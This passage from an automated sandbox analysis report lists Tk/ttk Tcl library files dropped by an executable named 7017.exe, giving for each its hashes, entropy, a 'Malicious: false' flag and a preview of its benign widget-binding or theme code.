SHA1:	6D0253274D777E081FA36CC38E51C2ABB9259D0E
SHA-256:	62D1DF52C510A83103BADAB4F3A77ABB1AA3A0E1E21F68ECE0CECCA2CA2F1341
SHA-512:	698DB665E29B29864F9FE65934CCA83A5092D81D5130FFD1EAC68C51327AE9EBC007A60A60E1AF37063017E448CE84A4024D4A412990A1078287B605DF344C70
Malicious:	false
Preview:	#.# DERIVED FROM: tk/library/entry.tcl r1.22.#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 2004, Joe English.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..namespace eval ttk {. namespace eval entry {..variable State...set State(x) 0..set State(selectMode) none..set State(anchor) 0..set State(scanX) 0..set State(scanIndex) 0..set State(scanMoved) 0...# Button-2 scan speed is (scanNum/scanDen) characters..# per pixel of mouse movement...# The standard Tk entry widget uses the equivalent of..# scanNum = 10, scanDen = average character width...# I don't know why that was chosen...#..set State(scanNum) 1..set State(scanDen) 1..set State(deadband) 3.;# #pixels for mouse-moved deadband.. }.}..### Option database settings..#.option add *TEntry.cursor [ttk::cursor text] widgetDefault..### Bindings..#.# Removed

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\fonts.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5576
Entropy (8bit):	4.956417003071239
Encrypted:	false
SSDEEP:	96:Nduphbitcq1Zs/ZrBiZy227IhLkdhetOstWGbRafkeHH+4:3CheHvsbiZyDmJbRa3+4
MD5:	7017B5C1D53F341F703322A40C76C925
SHA1:	57540C56C92CC86F94B47830A00C29F826DEF28E
SHA-256:	0EB518251FBE9CF0C9451CC1FEF6BB6AEE16D62DA00B0050C83566DA053F68D0
SHA-512:	FD18976A8FBB7E59B12944C2628DBD66D463B2F7342661C8F67160DF37A393FA3C0CE7FDDA31073674B7A46E0A0A7D0A7B29EBE0D9488AFD9EF8B3A39410B5A8
Malicious:	false
Preview:	#.# Font specifications..#.# This file, [source]d at initialization time, sets up the following.# symbolic fonts based on the current platform:.#.# TkDefaultFont.-- default for GUI items not otherwise specified.# TkTextFont.-- font for user text (entry, listbox, others).# TkFixedFont.-- standard fixed width font.# TkHeadingFont.-- headings (column headings, etc).# TkCaptionFont -- dialog captions (primary text in alert dialogs, etc.).# TkTooltipFont.-- font to use for tooltip windows.# TkIconFont.-- font to use for icon captions.# TkMenuFont.-- used to use for menu items.#.# In Tk 8.5, some of these fonts may be provided by the TIP#145 implementation.# (On Windows and Mac OS X as of Oct 2007)..#.# +++ Platform notes:.#.# Windows:.#.The default system font changed from "MS Sans Serif" to "Tahoma".# .in Windows XP/Windows 2000..#.#.MS documentation says to use "Tahoma 8" in Windows 2000/XP,.#.although many MS programs still use "MS Sans Serif 8".#.#.Should use SystemParametersInfo() inst

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\menubutton.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4913
Entropy (8bit):	4.841521491900473
Encrypted:	false
SSDEEP:	96:1reigApQy38gaQJy+3nN+PN8JdNhtOPqoK4J+wQCV7EkGxIaqc9ld9qtlWnITOZI:hfbJvnN+PN8JdNHs64J+wQCPGxtqWrqf
MD5:	DB24841643CEBD38D5FFD1D42B42E7F4
SHA1:	E394AF7FAF83FAD863C7B13D855FCF3705C4F1C7
SHA-256:	81B0B7818843E293C55FF541BD95168DB51FE760941D32C7CDE9A521BB42E956
SHA-512:	380272D003D5F90C13571952D0C73F5FCE2A22330F98F29707F3D5BFC29C99D9BF11A947CF2CA64CF7B8DF5E4AFE56FFA00F9455BB30D15611FC5C86130346BE
Malicious:	false
Preview:	#.# Bindings for Menubuttons..#.# Menubuttons have three interaction modes:.#.# Pulldown: Press menubutton, drag over menu, release to activate menu entry.# Popdown: Click menubutton to post menu.# Keyboard: <Key-space> or accelerator key to post menu.#.# (In addition, when menu system is active, "dropdown" -- menu posts.# on mouse-over. Ttk menubuttons don't implement this)..#.# For keyboard and popdown mode, we hand off to tk_popup and let .# the built-in Tk bindings handle the rest of the interaction..#.# ON X11:.#.# Standard Tk menubuttons use a global grab on the menubutton..# This won't work for Ttk menubuttons in pulldown mode,.# since we need to process the final <ButtonRelease> event,.# and this might be delivered to the menu. So instead we.# rely on the passive grab that occurs on <ButtonPress> events,.# and transition to popdown mode when the mouse is released.# or dragged outside the menubutton..# .# ON WINDOWS:.#.# I'm not sure what the hell is going on here. [$menu pos

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\notebook.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5619
Entropy (8bit):	4.937953914483602
Encrypted:	false
SSDEEP:	96:d4tDJf49tzG809fhQAKWCgQOK/6PF+hEi8YYFSL+3FJVCj0QlK2kfJcQIni:d4tktzwfWngQOK/6PF+hDDYFNJVCj0Q2
MD5:	82C9DFC512E143DDA78F91436937D4DD
SHA1:	26ABC23C1E0C201A217E3CEA7A164171418973B0
SHA-256:	D1E5267CDE3D7BE408B4C94220F7E1833C9D452BB9BA3E194E12A5EB2F9ADB80
SHA-512:	A9D3C04AD67E0DC3F1C12F9E21EF28A61FA84DBF710313D4CA656BDF35DFBBFBA9C268C018004C1F5614DB3A1128025D795BC14B4FFFAA5603A5313199798D04
Malicious:	false
Preview:	#.# Bindings for TNotebook widget.#..namespace eval ttk::notebook {. variable TLNotebooks ;# See enableTraversal.}..bind TNotebook <ButtonPress-1>..{ ttk::notebook::Press %W %x %y }.bind TNotebook <Key-Right>..{ ttk::notebook::CycleTab %W 1; break }.bind TNotebook <Key-Left>..{ ttk::notebook::CycleTab %W -1; break }.bind TNotebook <Control-Key-Tab>.{ ttk::notebook::CycleTab %W 1; break }.bind TNotebook <Control-Shift-Key-Tab>.{ ttk::notebook::CycleTab %W -1; break }.catch {.bind TNotebook <Control-ISO_Left_Tab>.{ ttk::notebook::CycleTab %W -1; break }.}.bind TNotebook <Destroy>..{ ttk::notebook::Cleanup %W }..# ActivateTab $nb $tab --.#.Select the specified tab and set focus..#.# Desired behavior:.#.+ take focus when reselecting the currently-selected tab;.#.+ keep focus if the notebook already has it;.#.+ otherwise set focus to the first traversable widget.#. in the newly-selected tab;.#.+ do not leave the focus in a deselected tab..#.proc ttk::notebook::ActivateTab {w tab} {.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\panedwindow.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1920
Entropy (8bit):	4.916119835701688
Encrypted:	false
SSDEEP:	24:kfkVpfktNZz51kfkB6fkO/cfkyk2fkI4fkI1fkxUufkYfkEtNMiyHvyPHfk9tNZ5:0ZPhMiyHvyPQZNtiisZvUriZPaa+fdl
MD5:	A12915FA5CAF93E23518E9011200F5A4
SHA1:	A61F665A408C10419FB81001578D99B43D048720
SHA-256:	CE0053D637B580170938CF552B29AE890559B98EB28038C2F0A23A265DDEB273
SHA-512:	669E1D66F1223CCA6CEB120914D5D876BD3CF401EE4A46F35825361076F19C7341695596A7DBB00D6CFF4624666FB4E7A2D8E7108C3C56A12BDA7B04E99E6F9A
Malicious:	false
Preview:	#.# Bindings for ttk::panedwindow widget..#..namespace eval ttk::panedwindow {. variable State. array set State {..pressed 0. .pressX.-..pressY.-..sash .-..sashPos -. }.}..## Bindings:.#.bind TPanedwindow <ButtonPress-1> .{ ttk::panedwindow::Press %W %x %y }.bind TPanedwindow <B1-Motion>..{ ttk::panedwindow::Drag %W %x %y }.bind TPanedwindow <ButtonRelease-1> .{ ttk::panedwindow::Release %W %x %y }..bind TPanedwindow <Motion> ..{ ttk::panedwindow::SetCursor %W %x %y }.bind TPanedwindow <Enter> ..{ ttk::panedwindow::SetCursor %W %x %y }.bind TPanedwindow <Leave> ..{ ttk::panedwindow::ResetCursor %W }.# See <<NOTE-PW-LEAVE-NOTIFYINFERIOR>>.bind TPanedwindow <<EnteredChild>>.{ ttk::panedwindow::ResetCursor %W }..## Sash movement:.#.proc ttk::panedwindow::Press {w x y} {. variable State.. set sash [$w identify $x $y]. if {$sash eq ""} {. .set State(pressed) 0..return. }. set State(pressed) .1. set State(pressX) .$x. set State(pressY) .$y. set State(sa

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\progress.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	4.7101709883442755
Encrypted:	false
SSDEEP:	24:o83oOUyNSiBj0oNA7h5EwIa2s0ImxamrNlUImyJDirNPpwWgJ:oMtS6j0eyEw0s02mhlU4khPp4J
MD5:	B0074341A4BDA36BCDFF3EBCAE39EB73
SHA1:	D070A01CC5A787249BC6DAD184B249C4DD37396A
SHA-256:	A9C34F595E547CE94EE65E27C415195D2B210653A9FFCFB39559C5E0FA9C06F8
SHA-512:	AF23563602886A648A42B03CC5485D84FCC094AB90B08DF5261434631B6C31CE38D83A3A60CC7820890C797F6C778D5B5EFF47671CE3EE4710AB14C6110DCC35
Malicious:	false
Preview:	#.# Ttk widget set: progress bar utilities..#..namespace eval ttk::progressbar {. variable Timers.;# Map: widget name -> after ID.}..# Autoincrement --.#.Periodic callback procedure for autoincrement mode.#.proc ttk::progressbar::Autoincrement {pb steptime stepsize} {. variable Timers.. if {![winfo exists $pb]} {. .# widget has been destroyed -- cancel timer..unset -nocomplain Timers($pb)..return. }.. set Timers($pb) [after $steptime \. .[list ttk::progressbar::Autoincrement $pb $steptime $stepsize] ].. $pb step $stepsize.}..# ttk::progressbar::start --.#.Start autoincrement mode. Invoked by [$pb start] widget code..#.proc ttk::progressbar::start {pb {steptime 50} {stepsize 1}} {. variable Timers. if {![info exists Timers($pb)]} {..Autoincrement $pb $steptime $stepsize. }.}..# ttk::progressbar::stop --.#.Cancel autoincrement mode. Invoked by [$pb stop] widget code..#.proc ttk::progressbar::stop {pb} {. variable Timers. if {[info exists Timers($pb

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\scale.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2698
Entropy (8bit):	4.7624002445430955
Encrypted:	false
SSDEEP:	48:6Zsdayx/HZtYRqucO6wEKyRtZt0TcKVqZ4TFZkPDMiNf:Wde/5tYRquMwEKyFt0TcKVG4TrkLMwf
MD5:	B41A9DF31924DEA36D69CB62891E8472
SHA1:	4C2877FBB210FDBBDE52EA8B5617F68AD2DF7B93
SHA-256:	25D0FE2B415292872EF7ACDB2DFA12D04C080B7F9B1C61F28C81AA2236180479
SHA-512:	A50DB6DA3D40D07610629DE45F06A438C6F2846324C3891C54C99074CFB7BEED329F27918C8A85BADB22C6B64740A2053B891F8E5D129D9B0A1FF103E7137D83
Malicious:	false
Preview:	# scale.tcl - Copyright (C) 2004 Pat Thoyts <patthoyts@users.sourceforge.net>.#.# Bindings for the TScale widget..namespace eval ttk::scale {. variable State. array set State {..dragging 0. }.}..bind TScale <ButtonPress-1> { ttk::scale::Press %W %x %y }.bind TScale <B1-Motion> { ttk::scale::Drag %W %x %y }.bind TScale <ButtonRelease-1> { ttk::scale::Release %W %x %y }..bind TScale <ButtonPress-2> { ttk::scale::Jump %W %x %y }.bind TScale <B2-Motion> { ttk::scale::Drag %W %x %y }.bind TScale <ButtonRelease-2> { ttk::scale::Release %W %x %y }..bind TScale <ButtonPress-3> { ttk::scale::Jump %W %x %y }.bind TScale <B3-Motion> { ttk::scale::Drag %W %x %y }.bind TScale <ButtonRelease-3> { ttk::scale::Release %W %x %y }..## Keyboard navigation bindings:.#.bind TScale <<LineStart>> { %W set [%W cget -from] }.bind TScale <<LineEnd>> { %W set [%W cget -to] }..bind TScale <<PrevChar>> { ttk::scale::Increment %W -1 }.bind TScale <<PrevLine>> {

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\scrollbar.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3097
Entropy (8bit):	4.913511104649656
Encrypted:	false
SSDEEP:	96:OsSofRsvfH3Noo2kvrjnWG3Lcyst0Rhrdy:plcHdoorDjWEFeuTy
MD5:	93181DBE76EF9C39849A09242D6DF8C0
SHA1:	DE3B47AFC3E5371BF1CD0541790A9B78A97570AB
SHA-256:	5932043286A30A3CFFB2B6CE68CCDB9172A718F32926E25D3A962AE63CAD515C
SHA-512:	5C85284E063A5DE17F6CE432B3EF899D046A78725BD1F930229576BED1116C03A3EE0611B988E9903F47DA8F694483E5A76464450C48EB14622F6784004B8F7E
Malicious:	false
Preview:	#.# Bindings for TScrollbar widget.#..# Still don't have a working ttk::scrollbar under OSX -.# Swap in a [tk::scrollbar] on that platform,.# unless user specifies -class or -style..#.if {[tk windowingsystem] eq "aqua"} {. rename ::ttk::scrollbar ::ttk::_scrollbar. proc ttk::scrollbar {w args} {..set constructor ::tk::scrollbar..foreach {option _} $args {.. if {$option eq "-class" \|\| $option eq "-style"} {...set constructor ::ttk::_scrollbar...break.. }..}..return [$constructor $w {*}$args]. }.}..namespace eval ttk::scrollbar {. variable State. # State(xPress).--. # State(yPress).-- initial position of mouse at start of drag.. # State(first).-- value of -first at start of drag..}..bind TScrollbar <ButtonPress-1> .{ ttk::scrollbar::Press %W %x %y }.bind TScrollbar <B1-Motion>..{ ttk::scrollbar::Drag %W %x %y }.bind TScrollbar <ButtonRelease-1>.{ ttk::scrollbar::Release %W %x %y }..bind TScrollbar <ButtonPress-2> .{ ttk::scrollbar::Jump %W %x %y }.bind TScrollb

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\sizegrip.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2406
Entropy (8bit):	4.78080326075935
Encrypted:	false
SSDEEP:	48:KqL4LUBItZ3EZEhHR4vuRbMMie8GMW/H7vZZNQdqrYfy2nL+ZZvBb:KDYBIjHHRmiM1qvbnNQdqriyQIvB
MD5:	3C8916A58C6EE1D61836E500A54C9321
SHA1:	54F3F709698FAD020A048668749CB5A09EDE35AB
SHA-256:	717D2EDD71076EA059903C7144588F8BBD8B0AFE69A55CBF23953149D6694D33
SHA-512:	2B71569A5A96CAC1B708E894A2466B1054C3FAE5405E10799B182012141634BD2A7E9E9F516658E1A6D6E9E776E397608B581501A6CFE2EB4EC54459E9ECB267
Malicious:	false
Preview:	#.# Sizegrip widget bindings..#.# Dragging a sizegrip widget resizes the containing toplevel..#.# NOTE: the sizegrip widget must be in the lower right hand corner..#..switch -- [tk windowingsystem] {. x11 -. win32 {..option add *TSizegrip.cursor [ttk::cursor seresize] widgetDefault. }. aqua {. .# Aqua sizegrips use default Arrow cursor.. }.}..namespace eval ttk::sizegrip {. variable State. array set State {..pressed .0..pressX ..0..pressY ..0..width ..0..height ..0..widthInc.1..heightInc.1. resizeX 1. resizeY 1..toplevel .{}. }.}..bind TSizegrip <ButtonPress-1> ..{ ttk::sizegrip::Press.%W %X %Y }.bind TSizegrip <B1-Motion> ..{ ttk::sizegrip::Drag .%W %X %Y }.bind TSizegrip <ButtonRelease-1> .{ ttk::sizegrip::Release %W %X %Y }..proc ttk::sizegrip::Press {W X Y} {. variable State.. if {[$W instate disabled]} { return }.. set top [winfo toplevel $W].. # If the toplevel is not resizable then bail. foreach {State(resiz

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\spinbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4255
Entropy (8bit):	4.9576194953603006
Encrypted:	false
SSDEEP:	96:17n+wMf6/ocy2nO6lz+Ni2QQ0Q3LqSFLfhrxJSS3hQb:ln+wMOxVlaNi2QQ0QbdFLfhrxJzhQb
MD5:	86BCA3AB915C2774425B70420E499140
SHA1:	FD4798D79EEBA9CFFABCB2548068591DB531A716
SHA-256:	51F8A6C772648541684B48622FFE41B77871A185A8ACD11E9DEC9EC41D65D9CD
SHA-512:	659FB7E1631ED898E3C11670A04B953EB05CECB42A3C5EFBDD1BD97A7F99061920FD5DB3915476F224BB2C72358623E1B474B0FC3FBB7FD3734487B87A388FD7
Malicious:	false
Preview:	#.# ttk::spinbox bindings.#..namespace eval ttk::spinbox { }..### Spinbox bindings..#.# Duplicate the Entry bindings, override if needed:.#..ttk::copyBindings TEntry TSpinbox..bind TSpinbox <Motion>...{ ttk::spinbox::Motion %W %x %y }.bind TSpinbox <ButtonPress-1> ..{ ttk::spinbox::Press %W %x %y }.bind TSpinbox <ButtonRelease-1> .{ ttk::spinbox::Release %W }.bind TSpinbox <Double-Button-1> .{ ttk::spinbox::DoubleClick %W %x %y }.bind TSpinbox <Triple-Button-1> .{} ;# disable TEntry triple-click..bind TSpinbox <KeyPress-Up>..{ event generate %W <<Increment>> }.bind TSpinbox <KeyPress-Down> ..{ event generate %W <<Decrement>> }..bind TSpinbox <<Increment>>..{ ttk::spinbox::Spin %W +1 }.bind TSpinbox <<Decrement>> ..{ ttk::spinbox::Spin %W -1 }..ttk::bindMouseWheel TSpinbox ..[list ttk::spinbox::MouseWheel %W]..## Motion --.#.Sets cursor..#.proc ttk::spinbox::Motion {w x y} {. if { [$w identify $x $y] eq "textarea". && [$w instate {!readonly !disabled}]. } {..ttk::setCurso

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\treeview.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8898
Entropy (8bit):	4.860766938410698
Encrypted:	false
SSDEEP:	96:2Ou002WQZ4sNNxjKomA3xj9L/37NbbF3r3G4eeMxCSbk3TPMrngEibSB1GjwPBKf:ZWeZ5BDFK+DsXibSQUMHLCGLdE2bZ
MD5:	46B1D0EADBCF11AC51DD14B1A215AE04
SHA1:	339026AE9533F4C331ADF8C71799B222DDD89D4F
SHA-256:	DB6FAA8540C322F3E314968256D8AFFF39A1E4700EC17C7EFE364241F355D80F
SHA-512:	0FC81426857949D5AC9FE7FF3C85A1270BD35BF6E6EAF3FE7AE0DE22A0C0E5CD96D6C9471216DC1DA673FAD949CA96A3751C3D3222474D2206AA9D8A455BA12E
Malicious:	false
Preview:	#.# ttk::treeview widget bindings and utilities..#..namespace eval ttk::treeview {. variable State.. # Enter/Leave/Motion. #. set State(activeWidget) .{}. set State(activeHeading) .{}.. # Press/drag/release:. #. set State(pressMode) .none. set State(pressX)..0.. # For pressMode == "resize". set State(resizeColumn).#0.. # For pressmode == "heading". set State(heading) .{}.}..### Widget bindings..#..bind Treeview.<Motion> ..{ ttk::treeview::Motion %W %x %y }.bind Treeview.<B1-Leave>..{ #nothing }.bind Treeview.<Leave>...{ ttk::treeview::ActivateHeading {} {}}.bind Treeview.<ButtonPress-1> .{ ttk::treeview::Press %W %x %y }.bind Treeview.<Double-ButtonPress-1> .{ ttk::treeview::DoubleClick %W %x %y }.bind Treeview.<ButtonRelease-1> .{ ttk::treeview::Release %W %x %y }.bind Treeview.<B1-Motion> ..{ ttk::treeview::Drag %W %x %y }.bind Treeview .<KeyPress-Up> .{ ttk::treeview::Keynav %W up }.bind Treeview .<KeyPress-Down> .{ ttk::treeview::Keynav %

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\ttk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4546
Entropy (8bit):	4.888987944406022
Encrypted:	false
SSDEEP:	96:53a25129CKELfMonw+PzpaVnNqovaq2126262R2D2q2k2j+/2FhbtpGt0vcWOQRg:53j5MoKE7JEnN7CTMDDA6Tlj+uFhbttK
MD5:	E38B399865C45E49419C01FF2ADDCE75
SHA1:	F8A79CBC97A32622922D4A3A5694BCCB3F19DECB
SHA-256:	61BAA0268770F127394A006340D99CE831A1C7AD773181C0C13122F7D2C5B7F6
SHA-512:	285F520B648F5EC70DD79190C3B456F4D6DA2053210985F9E2C84139D8D51908296E4962B336894EE30536F09FAE84B912BC2ABF44A7011620F66CC5D9F71A8C
Malicious:	false
Preview:	#.# Ttk widget set initialization script..#..### Source library scripts..#..namespace eval ::ttk {. variable library. if {![info exists library]} {..set library [file dirname [info script]]. }.}..source [file join $::ttk::library fonts.tcl].source [file join $::ttk::library cursors.tcl].source [file join $::ttk::library utils.tcl]..## ttk::deprecated $old $new --.#.Define $old command as a deprecated alias for $new command.#.$old and $new must be fully namespace-qualified..#.proc ttk::deprecated {old new} {. interp alias {} $old {} ttk::do'deprecate $old $new.}.## do'deprecate --.#.Implementation procedure for deprecated commands --.#.issue a warning (once), then re-alias old to new..#.proc ttk::do'deprecate {old new args} {. deprecated'warning $old $new. interp alias {} $old {} $new. uplevel 1 [linsert $args 0 $new].}..## deprecated'warning --.#.Gripe about use of deprecated commands..#.proc ttk::deprecated'warning {old new} {. puts stderr "$old deprecated -- u

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\utils.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8562
Entropy (8bit):	4.958950985117383
Encrypted:	false
SSDEEP:	192:MpEpXI4jqmW/y3gp9F+QE9PBRc+vWHJOfqW8j3ki3LDRdielRu+MXw+:6yXuwg1oPnc+epOEj31/s/5
MD5:	65193FE52D77B8726B75FBF909EE860A
SHA1:	991DEDD4666462DD9776FDF6C21F24D6CF794C85
SHA-256:	C7CC9A15CFA999CF3763772729CC59F629E7E060AF67B7D783C50530B9B756E1
SHA-512:	E43989F5F368D2E19C9A3521FB82C6C1DD9EEB91DF936A980FFC7674C8B236CB84E113908B8C9899B85430E8FC30315BDEC891071822D701C91C5978096341B7
Malicious:	false
Preview:	#.# Utilities for widget implementations..#..### Focus management..#.# See also: #1516479.#..## ttk::takefocus --.#.This is the default value of the "-takefocus" option.#.for ttk::* widgets that participate in keyboard navigation..#.# NOTES:.#.tk::FocusOK (called by tk_focusNext) tests [winfo viewable].#.if -takefocus is 1, empty, or missing; but not if it's a.#.script prefix, so we have to check that here as well..#.#.proc ttk::takefocus {w} {. expr {[$w instate !disabled] && [winfo viewable $w]}.}..## ttk::GuessTakeFocus --.#.This routine is called as a fallback for widgets.#.with a missing or empty -takefocus option..#.#.It implements the same heuristics as tk::FocusOK..#.proc ttk::GuessTakeFocus {w} {. # Don't traverse to widgets with '-state disabled':. #. if {![catch {$w cget -state} state] && $state eq "disabled"} {..return 0. }.. # Allow traversal to widgets with explicit key or focus bindings:. #. if {[regexp {Key\|Focus} [concat [bind $w] [bind [winfo c

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\vistaTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9670
Entropy (8bit):	4.6132627565634055
Encrypted:	false
SSDEEP:	192:kSsdZ6XzgE2kiSCyNPNVVSCIA5l/r5l/rW+i/CE38S7r/2JeJnpna+yfdyMq53Id:QZ6XzD2kFVeArPKJ3z7cQ0383cdd
MD5:	ED071B9CEA98B7594A7E74593211BD38
SHA1:	90998A1A51BCBAA3B4D72B08F5CBF19E330148D2
SHA-256:	98180630FC1E8D7D7C1B20A5FF3352C8BD8CF259DD4EB3B829B8BD4CB8AE76A4
SHA-512:	60C1EA45481AF5CFA3C5E579514DD3F4AC6C8D168553F374D0A3B3E1342E76CB71FA825C306233E185BED057E2B99877BAF9A5E88EBD48CF6DE171A8E7F6A230
Malicious:	false
Preview:	#.# Settings for Microsoft Windows Vista and Server 2008.#..# The Vista theme can only be defined on Windows Vista and above. The theme.# is created in C due to the need to assign a theme-enabled function for .# detecting when themeing is disabled. On systems that cannot support the.# Vista theme, there will be no such theme created and we must not.# evaluate this script...if {"vista" ni [ttk::style theme names]} {. return.}..namespace eval ttk::theme::vista {.. ttk::style theme settings vista {.. .ttk::style configure . \.. -background SystemButtonFace \.. -foreground SystemWindowText \.. -selectforeground SystemHighlightText \.. -selectbackground SystemHighlight \.. -insertcolor SystemWindowText \.. -font TkDefaultFont \.. ;...ttk::style map "." \.. -foreground [list disabled SystemGrayText] \.. ;...ttk::style configure TButton -anchor center -padding {1 1} -width -11..ttk::style configure TRadiobutton -padding 2..ttk::style configure TCheckbutton -pa

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\winTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2867
Entropy (8bit):	4.876730704118724
Encrypted:	false
SSDEEP:	48:679ahSh6FPGh0Ds0IXF6yjAfSAfqFRaBgLtei42kt+5Ql/n+iOaVhttZLgtKZLtO:6UJM0uTk5tm4RX0
MD5:	0AE8205DFBA3C9B8EEAD01AC11C965D6
SHA1:	61E8D2E909CF46886F6EA8571D4234DD336FEFB3
SHA-256:	93E4011CAA9F01802D6DD5E02C3104E619084799E949974DFEE5E0C94D1E3952
SHA-512:	E4448B922CA0FB425F879988537B9DB8F8C8A5A773805607574499506FDD9DEEB9CD41660E497002F78727AFBE3BEC17D9674E99CEF4A9D66FFD9C4536AFE153
Malicious:	false
Preview:	#.# Settings for 'winnative' theme..#..namespace eval ttk::theme::winnative {. ttk::style theme settings winnative {...ttk::style configure "." \.. -background SystemButtonFace \.. -foreground SystemWindowText \.. -selectforeground SystemHighlightText \.. -selectbackground SystemHighlight \.. -fieldbackground SystemWindow \.. -insertcolor SystemWindowText \.. -troughcolor SystemScrollbar \.. -font TkDefaultFont \.. ;...ttk::style map "." -foreground [list disabled SystemGrayText] ;. ttk::style map "." -embossed [list disabled 1] ;...ttk::style configure TButton \.. -anchor center -width -11 -relief raised -shiftrelief 1..ttk::style configure TCheckbutton -padding "2 4"..ttk::style configure TRadiobutton -padding "2 4"..ttk::style configure TMenubutton \.. -padding "8 4" -arrowsize 3 -relief raised...ttk::style map TButton -relief {{!disabled pressed} sunken}...ttk::style configure TEntry \.. -padding 2 -selectborderwidth 0 -insertwidth 1..t

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\ttk\xpTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2375
Entropy (8bit):	4.931678702435916
Encrypted:	false
SSDEEP:	48:NaxYun9ahShCd/T5QNt+7aVzEmAf8Afb9AfMMB+iOaVhttZLgtKZLti:k41eTXM
MD5:	BD892A940333C1B804DF5C4594B0A5E6
SHA1:	4E187F09F45898749CFE7860EDEF0D5EB83D764E
SHA-256:	196C6FEF40FB6296D7762F30058AA73273083906F72F490E69FC77F1D5589B88
SHA-512:	8273A8F789D695601A7BC74DFA2A6BD7FE280EC528869F502A578E90B6DD1613C4BCC5B6CD0D93A5CA0E6538BE740CD370F634DA84064213E1F50B919EBF35B8
Malicious:	false
Preview:	#.# Settings for 'xpnative' theme.#..namespace eval ttk::theme::xpnative {.. ttk::style theme settings xpnative {...ttk::style configure . \.. -background SystemButtonFace \.. -foreground SystemWindowText \.. -selectforeground SystemHighlightText \.. -selectbackground SystemHighlight \.. -insertcolor SystemWindowText \.. -font TkDefaultFont \.. ;...ttk::style map "." \.. -foreground [list disabled SystemGrayText] \.. ;...ttk::style configure TButton -anchor center -padding {1 1} -width -11..ttk::style configure TRadiobutton -padding 2..ttk::style configure TCheckbutton -padding 2..ttk::style configure TMenubutton -padding {8 4}...ttk::style configure TNotebook -tabmargins {2 2 2 0}..ttk::style map TNotebook.Tab \.. -expand [list selected {2 2 2 2}]...# Treeview:..ttk::style configure Heading -font TkHeadingFont..ttk::style configure Treeview -background SystemWindow..ttk::style map Treeview \.. -background [list selected SystemHighlight] \.. -fore

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\unsupported.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10252
Entropy (8bit):	5.02143730499245
Encrypted:	false
SSDEEP:	192:1kMv11IDCB7PFPHGosvS6UMn8O9MGM/OTMjcrrwrt:xuMYMj+sZ
MD5:	C832FDF24CA1F5C5E9B33FA5ECD11CAC
SHA1:	8082FDE50C428D2511B05F529FCCF02651D5AC93
SHA-256:	E34D828E740F151B96022934AAEC7BB8343E23D040FB54C04641888F51767EB8
SHA-512:	58BEB05778271D4C91527B1CB23491962789D95ACCBC6C28E25D05BD3D6172AAC9A90E7741CD606C69FB8CECC29EE515DA7C7D4E6098BF67F08F18DFB7983323
Malicious:	false
Preview:	# unsupported.tcl --.#.# Commands provided by Tk without official support. Use them at your.# own risk. They may change or go away without notice..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...# ----------------------------------------------------------------------.# Unsupported compatibility interface for folks accessing Tk's private.# commands and variable against recommended usage..# ----------------------------------------------------------------------..namespace eval ::tk::unsupported {.. # Map from the old global names of Tk private commands to their. # new namespace-encapsulated names... variable PrivateCommands. array set PrivateCommands {..tkButtonAutoInvoke..::tk::ButtonAutoInvoke..tkButtonDown...::tk::ButtonDown..tkButtonEnter...::tk::ButtonEnter..tkButtonInvoke...::tk::ButtonInvoke..tkButtonLeave...::tk::ButtonLeave..tkButtonUp...::tk::ButtonUp..tkCancelRepeat...::tk::Cance

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\xmfbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
